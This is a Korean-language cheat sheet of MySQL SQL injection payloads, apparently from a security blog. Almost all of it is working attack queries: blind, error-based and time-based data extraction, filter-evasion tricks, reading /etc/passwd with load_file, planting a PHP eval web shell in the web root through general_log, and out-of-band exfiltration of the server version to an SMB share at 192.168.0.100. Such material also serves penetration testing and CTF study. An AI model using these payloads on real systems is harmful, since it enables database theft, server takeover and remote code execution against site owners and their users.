SQL Injection Techniques (MySQL)
MySQL Injection에서 사용할 수 있는 문법, 테크닉을 정리해본 글입니다.
본 문서는 지속적으로 업데이트됩니다.
Comparison operators, functions
select 'admin'='admin'; # True
select 'admin'<=>'admin'; # True (<=>는 NULL도 비교할 수 있음)
select 'admin'!='admin'; # False
select 'admin'<>'admin'; # False (!=랑 똑같음)
select 'admin'<'admin'; # False
select 'admin'<'bdmin'; # True
select (3,4) in ((1,2), (3,4)); # True
select 'admin' in ('admin'); # True
select 'admin' in ('admin', 'foo'); # True
select 'admin' in (select 'admin'); # True
select 'admin' in ('a','b','c'); # False
select 5 between 4 and 6; # True
select 'admin' between 'a' and 'z'; # True
select 'admin' between 'b' and 'z'; # False
select 'admin' between 'ac' and 'zz'; # True
select 'admin' between 'ad' and 'zz'; # True
select 'admin' between 'ae' and 'zz'; # False
select 'admin' regexp 'adm.*'; # True
select 'admin' like 'adm%'; # True
select 'admin' like '%min'; # True
select 'admin' like 'a_m_n'; # True
select 'admin' sounds like 'admni'; # True
select 'admin' sounds like 'admie'; # True
select 'admin' sounds like 'aemin'; # False
select strcmp('admin', 'admin'); # 0 (서로 비교하는 값이 같으면 0을 반환함)
select strcmp('admie', 'admin'); # -1
select 1 IS TRUE; # True
select 0 IS FALSE; # True
select 'admin'='admin' IS TRUE; # True
select 'admin' IS TRUE; # False
select '1admin' IS TRUE; # True
select 'admin'='admin '; # True
select 'Admin'='admin'; # True
select binary 'Admin'='admin'; # False
select binary 'admin'='admin '; # False
String truncation
select substr('admin',1,1)='a'; # True
select substring('admin',1,1)='a'; # True
select mid('admin',1,5)='admin'; # True
/* comma(,)없이 사용할 수 있음 */
select substr('admin' from 1 for 3); # 'adm'
select substring('admin' from 1 for 3); # 'adm'
select mid('admin' from 1 for 1); # 'a'
select mid('admin' from 1 for 2); # 'd'
select mid('admin' from 1 for 3); # 'm'
select left('admin',1)='a'; # True
select left('admin',3)='adm'; # True
select right('admin',1)='n'; # True
select right('admin',3)='min'; # True
select right(left('admin',1),1)='a'; # True
select right(left('admin',2),1)='d'; # True
select right(left('admin',3),1)='m'; # True
select lpad('admin',1,1)='a'; # True
select lpad('admin',2,1)='ad'; # True
select rpad('admin',1,1)='a'; # True
select rpad('admin',2,1)='ad'; # True
select insert(insert('admin',1,0,''),2,256,'')='a'; # True
select insert(insert('admin',1,1,''),2,256,'')='d'; # True
select insert(insert('admin',1,2,''),2,256,'')='m'; # True
File input, output
select @@secure_file_priv; # secure_file_priv 확인
select '<?php phpinfo(); ?>' into outfile '/var/www/html/foo.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/html/foo.php';
select load_file('/etc/passwd');
# CVE-2016-6662 (MySQL-Exploit-Remote-Root-Code-Execution-Privesc)
set global general_log_file = '/var/www/html/foo.php';
set global general_log = on;
select '<?php eval($_GET[0]); ?>';
Run specific version
select /*!50000 1,*/2; # MySQL >= 5.0
select /*!40000 1,*/2; # MySQL >= 4.0
select 1/*!union select 2*/;
/*!select 1 union select 2*/;
Type cast
select '1'+1; # -> 2
select 'a'=0; # True
select '1admin'=1; # True
select '123'=123; # True
select concat(2, 'test'); # -> '2test'
select true + true; # 2
select`version`()+0;
select cast(38.8 as char); # -> '38.8'
select convert(38.8, char); # -> '38.8'
select convert('admin', int); # -> 0
/* 0x, 0b 꼴은 타입캐스팅 안함 */
select 0x3936323737; # -> 96277
select '96277'=96277; # True
select 0x3936323737=96277; # False
select 0x3936323737='96277'; # True
Temporary variable
select @a:='admin' union select @a;
select id from users where id='admin' and @a:=pw union select @a;
If white space(\x20) are not available
select(group_concat(table_name,0x3a,column_name))from`information_schema`.`columns`where`table_schema`=database();
select(group_concat(table_name,0x3a,column_name))from(information_schema.columns)where(table_schema=database());
select/**/group_concat(table_name,0x3a,column_name)from/**/information_schema.columns/**/where/**/table_schema=database();
select@:=group_concat(table_name,0x3a,column_name)from(information_schema.columns)where(table_schema=database
/*
공백(\x20) 대신 사용할 수 있는 문자:
\x09, \x0a, \x0b, \x0c, \x0d, \xa0, /**/
*/
Various ways to express characters
select 'adm' 'in'; # -> 'admin'
select 'ad''min'; # ad'min
select 'A'='a'; # True
select binary 'A'='a'; # False
select 'a'='a '; # True
select 0x61; # a
select 0b01100001; # a
select x'61'; # a
select concat(char(97),'dmin'); # admin
select concat_ws(0x3a,version(),user(),database()); # 10.4.6-MariaDB:root@localhost:test
select unhex(unhex(3631363236333634)); # abcd
/* https://github.com/adm1nkyj/ctfwriteup/blob/master/my_task/secuinside_2017/mathboy7 */
select 'admin' = mid(encrypt(ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*floor(pi())+ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi()*pi())*ceil(pi())+ceil(pi()*pi())*ceil(pi()*pi())*floor(pi()*pi())+ceil(pi()*pi())*(floor(pi()*pi())-true),mid(password(true+true),floor(pi()*pi()*floor(pi()))+true+true,true+true)),true, (ceil(pi())+true)); # True
Various ways to express numeric
select true; # 1
select false; # 0
select true+true; # 2
select ceil(cos(true)); # 1
select ceil(tan(true)); # 2
select ceil(pi()-true); # 3
select ceil(pi()); # 4
select ceil(pi())+true; # 5
select ceil(pi()*pi()); # 10
select true+@@version;
select hex(hex(true)); # only integer
Various ways to specify an alias
select 'admin' as id;
select 'admin'id;
select 'admin'`id`;
select 1`id`;
select 'admin' id;
select 1.foo; # (10.0.38-MariaDB에서 테스트 해봄)
When the injection point comes after the LIMIT clause
select id from users where 1 limit 0,1 {injection_point}
select id from users where 1 limit 0,1 procedure analyse(1,1);
select id from users where 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # error based
select id from users where 1 limit 0,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 1, benchmark(5000000,sha1(1)),1))))),1); # time based
When the injection point is in INSERT statement
insert into users values ('a', 'b'), ('c', 'd');
insert into users values ('a', reverse(id)), (version(), 1);
insert into users values ('a', (select id from (select id from users limit 0,1)x));
When the character set is latin1 (latin1_swedish_ci, latin1_german2_ci, etc..)
select 'Ä'='A'; # True
select 'ä' like 'a'; # True
MySQL comments
#, --, ;%00, /**/, `
select * from users where /* This is an in-line comment */ 1;
select * from users where 1 # This comment continues to the end of line
select * from users where 1-- This comment continues to the end of line
select * from users where 1;%00 (PHP 기준 세미콜론 뒤에 NULL문자(%00)가 들어가야함)
select * from users `where 1`; # users 테이블에 `where 1`이라는 별명을 지정
Error-based : Data extraction with error message
select * from users union select foo(); # FUNCTION test.foo does not exist
select * from users where exp(~id); # DOUBLE value is out of range in 'exp(~`test`.`users`.`id`)'
select * from users where extractvalue(1, concat(0x3a,version())); # XPATH syntax error: ':10.4.6-MariaDB'
select * from users where updatexml(0,concat('$_',version()),0); # Unknown XPATH variable at: '$_10.4.6-MariaDB'
select * from users group by concat(version(),floor(rand(0)*2)) having min(0); # Duplicate entry '10.4.6-MariaDB1' for key 'group_key'
select * from (select * from users join users a)b; # Duplicate column name 'id'
select * from (select name_const(version(),1),name_const(version(),1))a; # Duplicate column name '10.4.6-MariaDB'
select * from users where id=1 and json_keys((select group_concat(concat_ws(0x3a,id,pw)) from users));
# group_concat이랑 같은 결과 (MySQL >= 5.7.8 using JSON_* functions)
select polygon((select * from(select name_const(version(),1))x));
# -> Illegal non geometric '(select `x`.`5.5.38-35.2` from (select NAME_CONST(version(),1) AS `5.5.38-35.2`) `x`)' value found during parsing
select ST_LatFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH
select ST_LongFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH
select ST_PointFromGeoHash(version(),0); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash
Error Based : Blind SQL Injection
# 서브 쿼리에서 2개 이상의 row를 리턴하면 에러가 발생하는 점을 이용해서 공격
select if('a'='b', 1, (select 1 union select 2)); # error -> Subquery returns more than 1 row
select if('a'='a', 1, (select 1 union select 2)); # ok
select case when 1=1 then (select 1 union select 2) else 1 end; # error
select case when 1=0 then (select 1 union select 2) else 1 end; # ok
# BIGINT overflow
select ~0+(select 'a'='a'); # error -> ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '~0 + ('a' = 'a')'
select ~0+(select 'a'='b'); # ok
# cot함수 인자로 False가 들어가면 에러가 발생하는 것을 이용해서 공격
select cot(1=0); # error (DOUBLE value is out of range in 'cot(1 = 0)')
select cot(1=1); # ok
# order by 뒤에 숫자 늘리면서 에러로 컬럼수 파악
select * from users order by [컬럼 개수]; # 컬럼 개수 늘려가면서 에러로 개수 파악
select * from users order by 1; # ok
select * from users order by 2; # ok
select * from users order by 3; # error -> users 테이블의 컬럼 개수는 2개인 것.
select row([컬럼 개수]) > (select * from users limit 0,1); # [컬럼 개수]에 1,2,3 이런식으로 넣다가 컬럼 개수랑 맞으면 에러 안뜸
Time-based : Blind SQL Injection
select 'a'='a' and sleep(1); # 1 row in set (1.001 sec)
select 'a'='b' and sleep(1); # 1 row in set (0.000 sec)
select 'a'='a' and benchmark(10000000,md5('a')); // 1 row in set (3.017 sec)
select 'a'='b' and benchmark(10000000,md5('a')); // 1 row in set (1.565 sec)
select (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C
Useful databases, tables
information_schema.tables # 테이블, 컬럼 정보
information_schema.columns # 테이블, 컬럼 정보
information_schema.processlist # 현재 실행되는 쿼리 정보
information_schema.session_variables # 이것 저것 정보가 많이 들어있음
mysql.innodb_index_stats # 테이블, 컬럼 정보
mysql.innodb_table_stats # 테이블, 컬럼 정보
mysql.user # DB 유저 정보
Out-of-band for Windows
select @@version into outfile '\\\\192.168.0.100\\temp\\extract.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\extract.txt';
select load_file('\\\\192.168.0.101\\aa'); // Access SMB file
Quine query
SELECT REPLACE(REPLACE('SELECT
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS
Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS
Quine') AS Quine; // rubiya's query
Various queries
/* 쿼터(', ")로 감싸면 바로 뒤에 공백없이 다른 clause가 올 수 있음
실수도 공백없이 바로 사용할 수 있음 */
select'a'union(select'b');
select+5 union select 1; # ok
select 5union select 1; # error
select .5union select 1; # ok
/* 공백없이 'abc'를 출력하는 방법 */
select'abc'; # abc
select+0x616263; # abc
select@:=0x616263; # abc
select(0x616263); # abc
select{hex`unhex`(616263)}; # abc
select/*!50000+0x616263*/; # abc
select(0b011000010110001001100011); # abc
/* 같은 역할하는 함수 모음 */
select database(); # current database name
select schema(); # current database name
select+version(); # version
select@@global.version; # version
select@@`version`; # version
/* 그 외 */
select{a@@version};
select{a@:=1}union(select'a');
select version/**/();
Operator precedence
INTERVAL
BINARY, COLLATE
!
- (unary minus), ~ (unary bit inversion)
^
*, /, DIV, %, MOD
-, +
<<, >>
&
|
= (comparison), <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN, MEMBER OF
BETWEEN, CASE, WHEN, THEN, ELSE
NOT
AND, &&
XOR
OR, ||
= (assignment), :=
References
github.com – @swisskyrepo/PayloadsAllTheThings
github.com – @Xyntax//waf-bypass
github.com – @adm1nkyj/ctfwriteup
hackerschool.org – SQL Injection for Expert (rubiya)
SQL Injections in MySQL LIMIT clause
MySQL: новый Geometric error-based
시큐인사이드: 웹해킹이라고 무시하 는 것들 보소